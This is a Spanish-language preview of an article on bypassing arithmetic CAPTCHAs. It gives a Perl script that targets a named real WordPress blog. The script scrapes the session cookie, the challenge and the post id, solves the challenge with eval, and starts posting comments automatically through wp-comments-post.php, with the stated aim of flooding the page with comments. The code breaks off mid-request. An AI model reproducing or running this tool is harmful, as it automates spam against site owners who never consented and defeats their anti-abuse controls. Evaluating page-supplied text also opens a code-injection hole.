Lamia

Solo disponible en BuenasTareas
  • Páginas : 5 (1016 palabras )
  • Descarga(s) : 0
  • Publicado : 20 de diciembre de 2010
Leer documento completo
Vista previa del texto
Bypass CAPTCHA aritmético
¿Qué es el CAPTCHA?
El CAPTCHA es una prueba-desafío con el fin de identificar si el usuario de un servicio es un ser humano o una computadora. Estas pruebas son utilizadas para evitar que robots tengan acceso a ciertos servicios y aprovechen su ventaja de automatización para spamear o comprometer un sistema. La prueba consiste en crear desafíos que una maquina sesupone no debería de ser capaz de superar, por ejemplo: Escribir la secuencia de caracteres que aparecen en una imagen.

Contestar una pregunta lógica aleatoria. ¿De qué color es el caballo blanco de napoleón? Resolver una operación aritmética aleatoria. Cuál es el resultado de 13 + 37… Entre otros. Últimamente navegando en la red me encontré con varias páginas que están usando un CAPTCHA aritméticoque como antes dije consiste en encontrar el resultado de una sencilla operación matemática. El uso de este se debe a que muchos usuarios se quejan de no entender las secuencias de caracteres en imágenes, sin embargo esto trae un problema mayor el cual no reside en el tipo de prueba si no en la forma en que se la presentan al usuario. Normalmente cuando nos piden llenar una secuencia decaracteres de una imagen solo podemos identificar dichos caracteres por medio de la vista, sin embargo con los CAPTCHA aritmético cometieron el error de colocar la operación en el código HTML. A continuación propongo una forma de superar estas pruebas con ayuda de un sencillo programa en perl y como pagina de prueba usare un blog WordPress que me encontré por ahí (http://www.elcodigok.com.ar/).

[+]Obteniendo el código fuente de la página. Lo primero que hacemos es obtener el código fuente de algún artículo de la página donde queramos llenar de comentarios. Para la lectura de código fuente aremos un llamado mediante SOCKETS y leeremos línea por línea para que con ayuda de expresiones regulares obtengamos la cookie en la que se almacena nuestra sesión activa, la operación aritmética de prueba yalgún campo “hidden” que contenga el id del artículo.
use IO::Socket; $host = "www.elcodigok.com.ar"; #URL de la pagina $path = "2010/01/la-prueba-del-spam/"; # URL del articulo # Exprecion regular de la operacion aritmetica de captcha $exprecion_captcha = "(Escribe el resultado de: (.*?))"; # Exprecion regular del input que cntiene el id del articulo $id_post = '()'; my $remote =IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host, PeerPort => "http(80)"); unless ($remote) { die "[+] No se puede conectar al host $host \n" } $remote->autoflush(1); print $remote "GET /".$path." HTTP/1.1\nHOST: ".$host." \n\n"; while() { $linea = $_; #Exprecion regular para obtener la cookie if($linea =~ /(Set-Cookie: (.*?)=(.*?);)/i) { $cookiename = $2; $cookie = $3; #Valor de la cookie viva ennuestra sesion } if ($linea =~ /$exprecion_captcha/i) { $operacion=$2; eval "\$result = $operacion"; #Aquí se resuelve la operación del captcha xD } if ($linea =~ /$id_post/i) { $id=$2; #Id del articulo }

}

Con esto obtenemos la información necesaria ahora con ayuda de la librería UserAgente de Perl aremos una petición POST a la página ACTION del formulario de los comentarios. Enviamos una cadenaPOSTDATA con todas las variables necesarias para publicar el mensaje además de pasar el sesion ID de la cookie que obtubimos con el socket.
use LWP::UserAgent; use HTTP::Request; use LWP::Simple; use HTTP::Request::Common; use HTTP::Cookies; $submit = "http://www.elcodigok.com.ar/wp-comments-post.php"; # URL del reguistro de comentarios $proxy = “”; #Por si usamos proxy my $useragent =LWP::UserAgent->new(); $useragent->agent("Sombrero de paja Molder"); if($proxy ne "") { $useragent->proxy(['http', 'ftp'], 'http://'.$proxy.'/'); $useragent->no_proxy('localhost'); } $useragent->timeout(30); my $cookie_jar = HTTP::Cookies->new; $cookie_jar->set_cookie(undef,$cookiename,$cookie,'/',$host,'80'); $useragent->cookie_jar($cookie_jar); my $respuesta = $useragent->request(POST $submit,[...
tracking img